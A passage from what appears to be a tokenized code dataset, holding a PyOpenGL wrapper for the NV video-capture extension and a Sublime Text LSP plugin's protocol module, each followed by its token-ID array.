return _p.createFunction( function,_p.GL,'GL_NV_video_capture',False)
_p.unpack_constants( """GL_VIDEO_BUFFER_NV 0x9020
GL_VIDEO_BUFFER_BINDING_NV 0x9021
GL_FIELD_UPPER_NV 0x9022
GL_FIELD_LOWER_NV 0x9023
GL_NUM_VIDEO_CAPTURE_STREAMS_NV 0x9024
GL_NEXT_VIDEO_CAPTURE_BUFFER_STATUS_NV 0x9025
GL_VIDEO_CAPTURE_TO_422_SUPPORTED_NV 0x9026
GL_LAST_VIDEO_CAPTURE_STATUS_NV 0x9027
GL_VIDEO_BUFFER_PITCH_NV 0x9028
GL_VIDEO_COLOR_CONVERSION_MATRIX_NV 0x9029
GL_VIDEO_COLOR_CONVERSION_MAX_NV 0x902A
GL_VIDEO_COLOR_CONVERSION_MIN_NV 0x902B
GL_VIDEO_COLOR_CONVERSION_OFFSET_NV 0x902C
GL_VIDEO_BUFFER_INTERNAL_FORMAT_NV 0x902D
GL_PARTIAL_SUCCESS_NV 0x902E
GL_SUCCESS_NV 0x902F
GL_FAILURE_NV 0x9030
GL_YCBYCR8_422_NV 0x9031
GL_YCBAYCR8A_4224_NV 0x9032
GL_Z6Y10Z6CB10Z6Y10Z6CR10_422_NV 0x9033
GL_Z6Y10Z6CB10Z6A10Z6Y10Z6CR10Z6A10_4224_NV 0x9034
GL_Z4Y12Z4CB12Z4Y12Z4CR12_422_NV 0x9035
GL_Z4Y12Z4CB12Z4A12Z4Y12Z4CR12Z4A12_4224_NV 0x9036
GL_Z4Y12Z4CB12Z4CR12_444_NV 0x9037
GL_VIDEO_CAPTURE_FRAME_WIDTH_NV 0x9038
GL_VIDEO_CAPTURE_FRAME_HEIGHT_NV 0x9039
GL_VIDEO_CAPTURE_FIELD_UPPER_HEIGHT_NV 0x903A
GL_VIDEO_CAPTURE_FIELD_LOWER_HEIGHT_NV 0x903B
GL_VIDEO_CAPTURE_SURFACE_ORIGIN_NV 0x903C""", globals())
glget.addGLGetConstant( GL_VIDEO_BUFFER_BINDING_NV, (1,) )
@_f
@_p.types(None,_cs.GLuint)
def glBeginVideoCaptureNV( video_capture_slot ):pass
@_f
@_p.types(None,_cs.GLuint,_cs.GLuint,_cs.GLenum,_cs.GLintptrARB)
def glBindVideoCaptureStreamBufferNV( video_capture_slot,stream,frame_region,offset ):pass
@_f
@_p.types(None,_cs.GLuint,_cs.GLuint,_cs.GLenum,_cs.GLenum,_cs.GLuint)
def glBindVideoCaptureStreamTextureNV( video_capture_slot,stream,frame_region,target,texture ):pass
@_f
@_p.types(None,_cs.GLuint)
def glEndVideoCaptureNV( video_capture_slot ):pass
@_f
@_p.types(None,_cs.GLuint,_cs.GLenum,arrays.GLintArray)
def glGetVideoCaptureivNV( video_capture_slot,pname,params ):pass
@_f
@_p.types(None,_cs.GLuint,_cs.GLuint,_cs.GLenum,arrays.GLintArray)
def glGetVideoCaptureStreamivNV( video_capture_slot,stream,pname,params ):pass
@_f
@_p.types(None,_cs.GLuint,_cs.GLuint,_cs.GLenum,arrays.GLfloatArray)
def glGetVideoCaptureStreamfvNV( video_capture_slot,stream,pname,params ):pass
@_f
@_p.types(None,_cs.GLuint,_cs.GLuint,_cs.GLenum,arrays.GLdoubleArray)
def glGetVideoCaptureStreamdvNV( video_capture_slot,stream,pname,params ):pass
@_f
@_p.types(_cs.GLenum,_cs.GLuint,arrays.GLuintArray,arrays.GLuint64Array)
def glVideoCaptureNV( video_capture_slot,sequence_num,capture_time ):pass
@_f
@_p.types(None,_cs.GLuint,_cs.GLuint,_cs.GLenum,arrays.GLintArray)
def glVideoCaptureStreamParameterivNV( video_capture_slot,stream,pname,params ):pass
@_f
@_p.types(None,_cs.GLuint,_cs.GLuint,_cs.GLenum,arrays.GLfloatArray)
def glVideoCaptureStreamParameterfvNV( video_capture_slot,stream,pname,params ):pass
@_f
@_p.types(None,_cs.GLuint,_cs.GLuint,_cs.GLenum,arrays.GLdoubleArray)
def glVideoCaptureStreamParameterdvNV( video_capture_slot,stream,pname,params ):pass
def glInitVideoCaptureNV():
'''Return boolean indicating whether this extension is available'''
from OpenGL import extensions
return extensions.hasGLExtension( EXTENSION_NAME )
| [
1,
14550,
6147,
468,
759,
630,
491,
679,
29918,
3820,
29918,
24299,
2471,
29892,
437,
451,
3863,
29991,
12008,
13,
3166,
29508,
1053,
7481,
408,
903,
29886,
29892,
17727,
408,
903,
2395,
29892,
7049,
13,
3166,
29508,
29889,
7239,
1053,
3144,
657,
13,
5215,
274,
8768,
13,
12194,
1430,
13381,
29918,
5813,
353,
525,
7239,
29918,
29940,
29963,
29918,
9641,
29918,
17885,
545,
29915,
13,
1753,
903,
29888,
29898,
740,
29871,
1125,
13,
1678,
736,
903,
29886,
29889,
3258,
6678,
29898,
740,
29892,
29918,
29886,
29889,
7239,
5501,
7239,
29918,
29940,
29963,
29918,
9641,
29918,
17885,
545,
742,
8824,
29897,
13,
29918,
29886,
29889,
348,
4058,
29918,
3075,
1934,
29898,
9995,
7239,
29918,
13044,
29923,
29949,
29918,
7838,
28483,
29918,
29940,
29963,
29871,
29900,
29916,
29929,
29900,
29906,
29900,
13,
7239,
29918,
13044,
29923,
29949,
29918,
7838,
28483,
29918,
29933,
22255,
4214,
29918,
29940,
29963,
29871,
29900,
29916,
29929,
29900,
29906,
29896,
13,
7239,
29918,
3738,
27286,
29918,
4897,
13171,
29918,
29940,
29963,
29871,
29900,
29916,
29929,
29900,
29906,
29906,
13,
7239,
29918,
3738,
27286,
29918,
27998,
1001,
29918,
29940,
29963,
29871,
29900,
29916,
29929,
29900,
29906,
29941,
13,
7239,
29918,
13967,
29918,
13044,
29923,
29949,
29918,
29907,
3301,
29911,
11499,
29918,
1254,
1525,
29909,
4345,
29918,
29940,
29963,
29871,
29900,
29916,
29929,
29900,
29906,
29946,
13,
7239,
29918,
29940,
12194,
29918,
13044,
29923,
29949,
29918,
29907,
3301,
29911,
11499,
29918,
7838,
28483,
29918,
27047,
29918,
29940,
29963,
29871,
29900,
29916,
29929,
29900,
29906,
29945,
13,
7239,
29918,
13044,
29923,
29949,
29918,
29907,
3301,
29911,
11499,
29918,
4986,
29918,
29946,
29906,
29906,
29918,
29903,
4897,
15082,
3352,
29918,
29940,
29963,
29871,
29900,
29916,
29929,
29900,
29906,
29953,
13,
7239,
29918,
4375,
1254,
29918,
13044,
29923,
29949,
29918,
29907,
3301,
29911,
11499,
29918,
27047,
29918,
29940,
29963,
29871,
29900,
29916,
29929,
29900,
29906,
29955,
13,
7239,
29918,
13044,
29923,
29949,
29918,
7838,
28483,
29918,
29925,
1806,
3210,
29918,
29940,
29963,
29871,
29900,
29916,
29929,
29900,
29906,
29947,
13,
7239,
29918,
13044,
29923,
29949,
29918,
15032,
1955,
29918,
6007,
16358,
29918,
29924,
1299,
3960,
29990,
29918,
29940,
29963,
29871,
29900,
29916,
29929,
29900,
29906,
29929,
13,
7239,
29918,
13044,
29923,
29949,
29918,
15032,
1955,
29918,
6007,
16358,
29918,
12648,
29918,
29940,
29963,
29871,
29900,
29916,
29929,
29900,
29906,
29909,
13,
7239,
29918,
13044,
29923,
29949,
29918,
15032,
1955,
29918,
6007,
16358,
29918,
16173,
29918,
29940,
29963,
29871,
29900,
29916,
29929,
29900,
29906,
29933,
13,
7239,
29918,
13044,
29923,
29949,
29918,
15032,
1955,
29918,
6007,
16358,
29918,
27681,
10490,
29918,
29940,
29963,
29871,
29900,
29916,
29929,
29900,
29906,
29907,
13,
7239,
29918,
13044,
29923,
29949,
29918,
7838,
28483,
29918,
23845,
29940,
1964,
29918,
19094,
1299,
29918,
29940,
29963,
29871,
29900,
29916,
29929,
29900,
29906,
29928,
13,
7239,
29918,
26092,
25758,
29918,
14605,
26925,
29918,
29940,
29963,
29871,
29900,
29916,
29929,
29900,
29906,
29923,
13,
7239,
29918,
14605,
26925,
29918,
29940,
29963,
29871,
29900,
29916,
29929,
29900,
29906,
29943,
13,
7239,
29918,
4519,
6227,
11499,
29918,
29940,
29963,
29871,
29900,
29916,
29929,
29900,
29941,
29900,
13,
7239,
29918,
29979,
21685,
29979,
11341,
29947,
29918,
29946,
29906,
29906,
29918,
29940,
29963,
29871,
29900,
29916,
29929,
29900,
29941,
29896,
13,
7239,
29918,
29979,
29907,
5688,
29979,
11341,
29947,
29909,
29918,
29946,
29906,
29906,
29946,
29918,
29940,
29963,
29871,
29900,
29916,
29929,
29900,
29941,
29906,
13,
7239,
29918,
29999,
29953,
29979,
29896,
29900,
29999,
29953,
21685,
29896,
29900,
29999,
29953,
29979,
29896,
29900,
29999,
29953,
11341,
29896,
29900,
29918,
29946,
29906,
29906,
29918,
29940,
29963,
29871,
29900,
29916,
29929,
29900,
29941,
29941,
13,
7239,
29918,
29999,
29953,
29979,
29896,
29900,
29999,
29953,
21685,
29896,
29900,
29999,
29953,
29909,
29896,
29900,
29999,
29953,
29979,
29896,
29900,
29999,
29953,
11341,
29896,
29900,
29999,
29953,
29909,
29896,
29900,
29918,
29946,
29906,
29906,
29946,
29918,
29940,
29963,
29871,
29900,
29916,
29929,
29900,
29941,
29946,
13,
7239,
29918,
29999,
29946,
29979,
29896,
29906,
29999,
29946,
21685,
29896,
29906,
29999,
29946,
29979,
29896,
29906,
29999,
29946,
11341,
29896,
29906,
29918,
29946,
29906,
29906,
29918,
29940,
29963,
29871,
29900,
29916,
29929,
29900,
29941,
29945,
13,
7239,
29918,
29999,
29946,
29979,
29896,
29906,
29999,
29946,
21685,
29896,
29906,
29999,
29946,
29909,
29896,
29906,
29999,
29946,
29979,
29896,
29906,
29999,
29946,
11341,
29896,
29906,
29999,
29946,
29909,
29896,
29906,
29918,
29946,
29906,
29906,
29946,
29918,
29940,
29963,
29871,
29900,
29916,
29929,
29900,
29941,
29953,
13,
7239,
29918,
29999,
29946,
29979,
29896,
29906,
29999,
29946,
21685,
29896,
29906,
29999,
29946,
11341,
29896,
29906,
29918,
29946,
29946,
29946,
29918,
29940,
29963,
29871,
29900,
29916,
29929,
29900,
29941,
29955,
13,
7239,
29918,
13044,
29923,
29949,
29918,
29907,
3301,
29911,
11499,
29918,
29943,
4717,
2303,
29918,
22574,
29918,
29940,
29963,
29871,
29900,
29916,
29929,
29900,
29941,
29947,
13,
7239,
29918,
13044,
29923,
29949,
29918,
29907,
3301,
29911,
11499,
29918,
29943,
4717,
2303,
29918,
9606,
22530,
29918,
29940,
29963,
29871,
29900,
29916,
29929,
29900,
29941,
29929,
13,
7239,
29918,
13044,
29923,
29949,
29918,
29907,
3301,
29911,
11499,
29918,
3738,
27286,
29918,
4897,
13171,
29918,
9606,
22530,
29918,
29940,
29963,
29871,
29900,
29916,
29929,
29900,
29941,
29909,
13,
7239,
29918,
13044,
29923,
29949,
29918,
29907,
3301,
29911,
11499,
29918,
3738,
27286,
29918,
27998,
1001,
29918,
9606,
22530,
29918,
29940,
29963,
29871,
29900,
29916,
29929,
29900,
29941,
29933,
13,
7239,
29918,
13044,
29923,
29949,
29918,
29907,
3301,
29911,
11499,
29918,
29903,
4574,
29943,
11538,
29918,
1955,
6259,
1177,
29918,
29940,
29963,
29871,
29900,
29916,
29929,
29900,
29941,
29907,
15945,
613,
13149,
1338,
3101,
13,
3820,
657,
29889,
1202,
7239,
2577,
12075,
424,
29898,
12729,
29918,
13044,
29923,
29949,
29918,
7838,
28483,
29918,
29933,
22255,
4214,
29918,
29940,
29963,
29892,
313,
29896,
29892,
29897,
1723,
13,
29992,
29918,
29888,
13,
29992,
29918,
29886,
29889,
8768,
29898,
8516,
29892,
29918,
2395,
29889,
7239,
13470,
29897,
13,
1753,
3144,
17946,
15167,
21133,
545,
29940,
29963,
29898,
4863,
29918,
17885,
545,
29918,
2536,
327,
29871,
1125,
3364,
13,
29992,
29918,
29888,
13,
29992,
29918,
29886,
29889,
8768,
29898,
8516,
29892,
29918,
2395,
29889,
7239,
13470,
29892,
29918,
2395,
29889,
7239,
13470,
29892,
29918,
2395,
29889,
7239,
18605,
29892,
29918,
2395,
29889,
7239,
524,
7414,
1718,
29933,
29897,
13,
1753,
3144,
15708,
15167,
21133,
545,
3835,
7701,
29940,
29963,
29898,
4863,
29918,
17885,
545,
29918,
2536,
327,
29892,
5461,
29892,
2557,
29918,
12803,
29892,
10289,
29871,
1125,
3364,
13,
29992,
29918,
29888,
13,
29992,
29918,
29886,
29889,
8768,
29898,
8516,
29892,
29918,
2395,
29889,
7239,
13470,
29892,
29918,
2395,
29889,
7239,
13470,
29892,
29918,
2395,
29889,
7239,
18605,
29892,
29918,
2395,
29889,
7239,
18605,
29892,
29918,
2395,
29889,
7239,
13470,
29897,
13,
1753,
3144,
15708,
15167,
21133,
545,
3835,
21898,
29940,
29963,
29898,
4863,
29918,
17885,
545,
29918,
2536,
327,
29892,
5461,
29892,
2557,
29918,
12803,
29892,
5182,
29892,
726,
545,
29871,
1125,
3364,
13,
29992,
29918,
29888,
13,
29992,
29918,
29886,
29889,
8768,
29898,
8516,
29892,
29918,
2395,
29889,
7239,
13470,
29897,
13,
1753,
3144,
5044,
15167,
21133,
545,
29940,
29963,
29898,
4863,
29918,
17885,
545,
29918,
2536,
327,
29871,
1125,
3364,
13,
29992,
29918,
29888,
13,
29992,
29918,
29886,
29889,
8768,
29898,
8516,
29892,
29918,
2395,
29889,
7239,
13470,
29892,
29918,
2395,
29889,
7239,
18605,
29892,
2378,
29879,
29889,
7239,
524,
2588,
29897,
13,
1753,
3144,
2577,
15167,
21133,
545,
440,
29940,
29963,
29898,
4863,
29918,
17885,
545,
29918,
2536,
327,
29892,
29886,
978,
29892,
7529,
29871,
1125,
3364,
13,
29992,
29918,
29888,
13,
29992,
29918,
29886,
29889,
8768,
29898,
8516,
29892,
29918,
2395,
29889,
7239,
13470,
29892,
29918,
2395,
29889,
7239,
13470,
29892,
29918,
2395,
29889,
7239,
18605,
29892,
2378,
29879,
29889,
7239,
524,
2588,
29897,
13,
1753,
3144,
2577,
15167,
21133,
545,
3835,
440,
29940,
29963,
29898,
4863,
29918,
17885,
545,
29918,
2536,
327,
29892,
5461,
29892,
29886,
978,
29892,
7529,
29871,
1125,
3364,
13,
29992,
29918,
29888,
13,
29992,
29918,
29886,
29889,
8768,
29898,
8516,
29892,
29918,
2395,
29889,
7239,
13470,
29892,
29918,
2395,
29889,
7239,
13470,
29892,
29918,
2395,
29889,
7239,
18605,
29892,
2378,
29879,
29889,
7239,
7411,
2588,
29897,
13,
1753,
3144,
2577,
15167,
21133,
545,
3835,
29888,
29894,
29940,
29963,
29898,
4863,
29918,
17885,
545,
29918,
2536,
327,
29892,
5461,
29892,
29886,
978,
29892,
7529,
29871,
1125,
3364,
13,
29992,
29918,
29888,
13,
29992,
29918,
29886,
29889,
8768,
29898,
8516,
29892,
29918,
2395,
29889,
7239,
13470,
29892,
29918,
2395,
29889,
7239,
13470,
29892,
29918,
2395,
29889,
7239,
18605,
29892,
2378,
29879,
29889,
7239,
8896,
2588,
29897,
13,
1753,
3144,
2577,
15167,
21133,
545,
3835,
29881,
29894,
29940,
29963,
29898,
4863,
29918,
17885,
545,
29918,
2536,
327,
29892,
5461,
29892,
29886,
978,
29892,
7529,
29871,
1125,
3364,
13,
29992,
29918,
29888,
13,
29992,
29918,
29886,
29889,
8768,
7373,
2395,
29889,
7239,
18605,
29892,
29918,
2395,
29889,
7239,
13470,
29892,
2378,
29879,
29889,
7239,
13470,
2588,
29892,
2378,
29879,
29889,
7239,
13470,
29953,
29946,
2588,
29897,
13,
1753,
3144,
15167,
21133,
545,
29940,
29963,
29898,
4863,
29918,
17885,
545,
29918,
2536,
327,
29892,
16506,
29918,
1949,
29892,
17885,
545,
29918,
2230,
29871,
1125,
3364,
13,
29992,
29918,
29888,
13,
29992,
29918,
29886,
29889,
8768,
29898,
8516,
29892,
29918,
2395,
29889,
7239,
13470,
29892,
29918,
2395,
29889,
7239,
13470,
29892,
29918,
2395,
29889,
7239,
18605,
29892,
2378,
29879,
29889,
7239,
524,
2588,
29897,
13,
1753,
3144,
15167,
21133,
545,
3835,
9329,
440,
29940,
29963,
29898,
4863,
29918,
17885,
545,
29918,
2536,
327,
29892,
5461,
29892,
29886,
978,
29892,
7529,
29871,
1125,
3364,
13,
29992,
29918,
29888,
13,
29992,
29918,
29886,
29889,
8768,
29898,
8516,
29892,
29918,
2395,
29889,
7239,
13470,
29892,
29918,
2395,
29889,
7239,
13470,
29892,
29918,
2395,
29889,
7239,
18605,
29892,
2378,
29879,
29889,
7239,
7411,
2588,
29897,
13,
1753,
3144,
15167,
21133,
545,
3835,
9329,
29888,
29894,
29940,
29963,
29898,
4863,
29918,
17885,
545,
29918,
2536,
327,
29892,
5461,
29892,
29886,
978,
29892,
7529,
29871,
1125,
3364,
13,
29992,
29918,
29888,
13,
29992,
29918,
29886,
29889,
8768,
29898,
8516,
29892,
29918,
2395,
29889,
7239,
13470,
29892,
29918,
2395,
29889,
7239,
13470,
29892,
29918,
2395,
29889,
7239,
18605,
29892,
2378,
29879,
29889,
7239,
8896,
2588,
29897,
13,
1753,
3144,
15167,
21133,
545,
3835,
9329,
29881,
29894,
29940,
29963,
29898,
4863,
29918,
17885,
545,
29918,
2536,
327,
29892,
5461,
29892,
29886,
978,
29892,
7529,
29871,
1125,
3364,
13,
13,
13,
1753,
3144,
6644,
15167,
21133,
545,
29940,
29963,
7295,
13,
1678,
14550,
11609,
7223,
23941,
3692,
445,
6081,
338,
3625,
12008,
13,
1678,
515,
29508,
1053,
17752,
13,
1678,
736,
17752,
29889,
5349,
29954,
1307,
486,
2673,
29898,
8528,
29911,
1430,
13381,
29918,
5813,
1723,
13,
2
] |
plugin/core/protocol.py | litezzzout/LSP | 1 | 135888 | from .typing import Any, Dict, Iterable, List, Mapping, Optional, TypedDict, Union
from .url import filename_to_uri
import os
import sublime
TextDocumentSyncKindNone = 0
TextDocumentSyncKindFull = 1
TextDocumentSyncKindIncremental = 2
class DiagnosticSeverity:
Error = 1
Warning = 2
Information = 3
Hint = 4
class DiagnosticTag:
Unnecessary = 1
Deprecated = 2
class CompletionItemTag:
Deprecated = 1
class SymbolTag:
Deprecated = 1
class InsertTextFormat:
PlainText = 1
Snippet = 2
class DocumentHighlightKind:
Text = 1
Read = 2
Write = 3
class SignatureHelpTriggerKind:
Invoked = 1
TriggerCharacter = 2
ContentChange = 3
class InsertTextMode:
AsIs = 1
AdjustIndentation = 2
DocumentUri = str
Position = TypedDict('Position', {
'line': int,
'character': int
})
RangeLsp = TypedDict('RangeLsp', {
'start': Position,
'end': Position
})
TextDocumentIdentifier = TypedDict('TextDocumentIdentifier', {
'uri': DocumentUri,
}, total=True)
TextDocumentPositionParams = TypedDict('TextDocumentPositionParams', {
'textDocument': TextDocumentIdentifier,
'position': Position,
}, total=True)
ExperimentalTextDocumentRangeParams = TypedDict('ExperimentalTextDocumentRangeParams', {
'textDocument': TextDocumentIdentifier,
'position': Position,
'range': RangeLsp,
}, total=True)
CodeDescription = TypedDict('CodeDescription', {
'href': str
}, total=True)
ExecuteCommandParams = TypedDict('ExecuteCommandParams', {
'command': str,
'arguments': Optional[List[Any]],
}, total=False)
Command = TypedDict('Command', {
'title': str,
'command': str,
'arguments': Optional[List[Any]],
}, total=True)
CodeAction = TypedDict('CodeAction', {
'title': str,
'kind': Optional[str],
'diagnostics': Optional[List[Any]],
'isPreferred': Optional[bool],
'edit': Optional[dict],
'command': Optional[Command],
}, total=True)
CodeLens = TypedDict('CodeLens', {
'range': RangeLsp,
'command': Optional[Command],
'data': Any,
# Custom property to bring along the name of the session
'session_name': Optional[str]
}, total=True)
ParameterInformation = TypedDict('ParameterInformation', {
'label': Union[str, List[int]],
'documentation': Union[str, Dict[str, str]]
}, total=False)
SignatureInformation = TypedDict('SignatureInformation', {
'label': str,
'documentation': Union[str, Dict[str, str]],
'parameters': List[ParameterInformation]
}, total=False)
SignatureHelp = TypedDict('SignatureHelp', {
'signatures': List[SignatureInformation],
'activeSignature': int,
'activeParameter': int,
}, total=False)
SignatureHelpContext = TypedDict('SignatureHelpContext', {
'triggerKind': int,
'triggerCharacter': str,
'isRetrigger': bool,
'activeSignatureHelp': SignatureHelp
}, total=False)
Location = TypedDict('Location', {
'uri': DocumentUri,
'range': RangeLsp
}, total=True)
DocumentSymbol = TypedDict('DocumentSymbol', {
'name': str,
'detail': Optional[str],
'kind': int,
'tags': Optional[List[int]],
'deprecated': Optional[bool],
'range': RangeLsp,
'selectionRange': RangeLsp,
'children': Optional[List[Any]] # mypy doesn't support recurive types like Optional[List['DocumentSymbol']]
}, total=True)
SymbolInformation = TypedDict('SymbolInformation', {
'name': str,
'kind': int,
'tags': Optional[List[int]],
'deprecated': Optional[bool],
'location': Location,
'containerName': Optional[str]
}, total=True)
LocationLink = TypedDict('LocationLink', {
'originSelectionRange': Optional[RangeLsp],
'targetUri': DocumentUri,
'targetRange': RangeLsp,
'targetSelectionRange': RangeLsp
}, total=False)
DiagnosticRelatedInformation = TypedDict('DiagnosticRelatedInformation', {
'location': Location,
'message': str
}, total=False)
Diagnostic = TypedDict('Diagnostic', {
'range': RangeLsp,
'severity': int,
'code': Union[int, str],
'codeDescription': CodeDescription,
'source': str,
'message': str,
'tags': List[int],
'relatedInformation': List[DiagnosticRelatedInformation]
}, total=False)
TextEdit = TypedDict('TextEdit', {
'newText': str,
'range': RangeLsp
}, total=True)
CompletionItemLabelDetails = TypedDict('CompletionItemLabelDetails', {
'detail': str,
'description': str
}, total=False)
CompletionItem = TypedDict('CompletionItem', {
'additionalTextEdits': List[TextEdit],
'command': Command,
'commitCharacters': List[str],
'data': Any,
'deprecated': bool,
'detail': str,
'documentation': Union[str, Dict[str, str]],
'filterText': str,
'insertText': str,
'insertTextFormat': InsertTextFormat,
'insertTextMode': InsertTextMode,
'kind': int,
'label': str,
'labelDetails': CompletionItemLabelDetails,
'preselect': bool,
'sortText': str,
'tags': List[int],
'textEdit': TextEdit
}, total=False)
CompletionList = TypedDict('CompletionList', {
'isIncomplete': bool,
'items': List[CompletionItem],
}, total=True)
MarkedString = Union[str, Dict[str, str]]
MarkupContent = Dict[str, str]
Hover = TypedDict('Hover', {
'contents': Union[MarkedString, MarkupContent, List[MarkedString]],
'range': RangeLsp,
}, total=False)
PublishDiagnosticsParams = TypedDict('PublishDiagnosticsParams', {
'uri': DocumentUri,
'version': Optional[int],
'diagnostics': List[Diagnostic],
}, total=False)
FileSystemWatcher = TypedDict('FileSystemWatcher', {
'globPattern': str,
'kind': int,
}, total=True)
DidChangeWatchedFilesRegistrationOptions = TypedDict('DidChangeWatchedFilesRegistrationOptions', {
'watchers': List[FileSystemWatcher],
}, total=True)
WatchKind = int
WatchKindCreate = 1
WatchKindChange = 2
WatchKindDelete = 4
FileChangeType = int
FileChangeTypeCreated = 1
FileChangeTypeChanged = 2
FileChangeTypeDeleted = 3
FileEvent = TypedDict("FileEvent", {
"uri": DocumentUri,
"type": FileChangeType,
}, total=True)
class Request:
__slots__ = ('method', 'params', 'view', 'progress')
def __init__(
self,
method: str,
params: Optional[Mapping[str, Any]] = None,
view: Optional[sublime.View] = None,
progress: bool = False
) -> None:
self.method = method
self.params = params
self.view = view
self.progress = progress # type: Union[bool, str]
@classmethod
def initialize(cls, params: Mapping[str, Any]) -> 'Request':
return Request("initialize", params)
@classmethod
def complete(cls, params: Mapping[str, Any], view: sublime.View) -> 'Request':
return Request("textDocument/completion", params, view)
@classmethod
def signatureHelp(cls, params: Mapping[str, Any], view: sublime.View) -> 'Request':
return Request("textDocument/signatureHelp", params, view)
@classmethod
def codeAction(cls, params: Mapping[str, Any], view: sublime.View) -> 'Request':
return Request("textDocument/codeAction", params, view)
@classmethod
def documentColor(cls, params: Mapping[str, Any], view: sublime.View) -> 'Request':
return Request('textDocument/documentColor', params, view)
@classmethod
def willSaveWaitUntil(cls, params: Mapping[str, Any], view: sublime.View) -> 'Request':
return Request("textDocument/willSaveWaitUntil", params, view)
@classmethod
def documentSymbols(cls, params: Mapping[str, Any], view: sublime.View) -> 'Request':
return Request("textDocument/documentSymbol", params, view)
@classmethod
def documentHighlight(cls, params: Mapping[str, Any], view: sublime.View) -> 'Request':
return Request("textDocument/documentHighlight", params, view)
@classmethod
def resolveCompletionItem(cls, params: CompletionItem, view: sublime.View) -> 'Request':
return Request("completionItem/resolve", params, view)
@classmethod
def shutdown(cls) -> 'Request':
return Request("shutdown")
def __repr__(self) -> str:
return self.method + " " + str(self.params)
def to_payload(self, id: int) -> Dict[str, Any]:
return {
"jsonrpc": "2.0",
"id": id,
"method": self.method,
"params": self.params
}
@classmethod
def semanticTokens(cls, params: Mapping[str, Any], view: sublime.View) -> 'Request':
return Request("textDocument/semanticTokens/full", params, view)
@classmethod
def semanticTokensDelta(cls, params: Mapping[str, Any], view: sublime.View) -> 'Request':
return Request("textDocument/semanticTokens/full/delta", params, view)
@classmethod
def semanticTokensRange(cls, params: Mapping[str, Any], view: sublime.View) -> 'Request':
return Request("textDocument/semanticTokens/range", params, view)
class ErrorCode:
# Defined by JSON RPC
ParseError = -32700
InvalidRequest = -32600
MethodNotFound = -32601
InvalidParams = -32602
InternalError = -32603
ServerErrorStart = -32099
ServerErrorEnd = -32000
ServerNotInitialized = -32002
UnknownErrorCode = -32001
# Defined by the protocol
RequestCancelled = -32800
ContentModified = -32801
class Error(Exception):
def __init__(self, code: int, message: str, data: Any = None) -> None:
super().__init__(message)
self.code = code
self.data = data
@classmethod
def from_lsp(cls, params: Any) -> "Error":
return Error(params["code"], params["message"], params.get("data"))
def to_lsp(self) -> Dict[str, Any]:
result = {"code": self.code, "message": super().__str__()}
if self.data:
result["data"] = self.data
return result
def __str__(self) -> str:
return "{} ({})".format(super().__str__(), self.code)
@classmethod
def from_exception(cls, ex: Exception) -> 'Error':
return Error(ErrorCode.InternalError, str(ex))
class Response:
__slots__ = ('request_id', 'result')
def __init__(self, request_id: Any, result: Union[None, Mapping[str, Any], Iterable[Any]]) -> None:
self.request_id = request_id
self.result = result
def to_payload(self) -> Dict[str, Any]:
r = {
"id": self.request_id,
"jsonrpc": "2.0",
"result": self.result
}
return r
class Notification:
__slots__ = ('method', 'params')
def __init__(self, method: str, params: Optional[Mapping[str, Any]] = None) -> None:
self.method = method
self.params = params
@classmethod
def initialized(cls) -> 'Notification':
return Notification("initialized", {})
@classmethod
def didOpen(cls, params: dict) -> 'Notification':
return Notification("textDocument/didOpen", params)
@classmethod
def didChange(cls, params: dict) -> 'Notification':
return Notification("textDocument/didChange", params)
@classmethod
def willSave(cls, params: dict) -> 'Notification':
return Notification("textDocument/willSave", params)
@classmethod
def didSave(cls, params: dict) -> 'Notification':
return Notification("textDocument/didSave", params)
@classmethod
def didClose(cls, params: dict) -> 'Notification':
return Notification("textDocument/didClose", params)
@classmethod
def didChangeConfiguration(cls, params: dict) -> 'Notification':
return Notification("workspace/didChangeConfiguration", params)
@classmethod
def didChangeWatchedFiles(cls, params: dict) -> 'Notification':
return Notification("workspace/didChangeWatchedFiles", params)
@classmethod
def didChangeWorkspaceFolders(cls, params: dict) -> 'Notification':
return Notification("workspace/didChangeWorkspaceFolders", params)
@classmethod
def exit(cls) -> 'Notification':
return Notification("exit")
def __repr__(self) -> str:
return self.method + " " + str(self.params)
def to_payload(self) -> Dict[str, Any]:
return {
"jsonrpc": "2.0",
"method": self.method,
"params": self.params
}
class Point(object):
def __init__(self, row: int, col: int) -> None:
self.row = int(row)
self.col = int(col) # in UTF-16
def __repr__(self) -> str:
return "{}:{}".format(self.row, self.col)
def __eq__(self, other: object) -> bool:
if not isinstance(other, Point):
raise NotImplementedError()
return self.row == other.row and self.col == other.col
@classmethod
def from_lsp(cls, point: Position) -> 'Point':
return Point(point['line'], point['character'])
def to_lsp(self) -> Position:
return {
"line": self.row,
"character": self.col
}
class Range(object):
def __init__(self, start: Point, end: Point) -> None:
self.start = start
self.end = end
def __repr__(self) -> str:
return "({} {})".format(self.start, self.end)
def __eq__(self, other: object) -> bool:
if not isinstance(other, Range):
raise NotImplementedError()
return self.start == other.start and self.end == other.end
@classmethod
def from_lsp(cls, range: RangeLsp) -> 'Range':
return Range(Point.from_lsp(range['start']), Point.from_lsp(range['end']))
def to_lsp(self) -> RangeLsp:
return {
'start': self.start.to_lsp(),
'end': self.end.to_lsp()
}
def contains(self, point: Point) -> bool:
return self.start.row <= point.row <= self.end.row and \
(self.end.row > point.row or self.start.col <= point.col <= self.end.col)
def intersects(self, rge: 'Range') -> bool:
return self.contains(rge.start) or self.contains(rge.end) or \
rge.contains(self.start) or rge.contains(self.end)
def extend(self, rge: 'Range') -> 'Range':
"""
Extends current range to fully include another range. If another range is already fully
enclosed within the current range then nothing changes.
:param rge: The region to extend current with
:returns: The extended region (itself)
"""
if rge.contains(self.start):
self.start = rge.start
if rge.contains(self.end):
self.end = rge.end
return self
class WorkspaceFolder:
__slots__ = ('name', 'path')
def __init__(self, name: str, path: str) -> None:
self.name = name
self.path = path
@classmethod
def from_path(cls, path: str) -> 'WorkspaceFolder':
return cls(os.path.basename(path) or path, path)
def __hash__(self) -> int:
return hash((self.name, self.path))
def __repr__(self) -> str:
return "{}('{}', '{}')".format(self.__class__.__name__, self.name, self.path)
def __str__(self) -> str:
return self.path
def __eq__(self, other: Any) -> bool:
if isinstance(other, WorkspaceFolder):
return self.name == other.name and self.path == other.path
return False
def to_lsp(self) -> Dict[str, str]:
return {"name": self.name, "uri": self.uri()}
def uri(self) -> str:
return filename_to_uri(self.path)
def includes_uri(self, uri: str) -> bool:
return uri.startswith(self.uri())
| [
1,
515,
869,
1017,
15702,
1053,
3139,
29892,
360,
919,
29892,
20504,
519,
29892,
2391,
29892,
341,
20304,
29892,
28379,
29892,
14213,
287,
21533,
29892,
7761,
13,
3166,
869,
2271,
1053,
10422,
29918,
517,
29918,
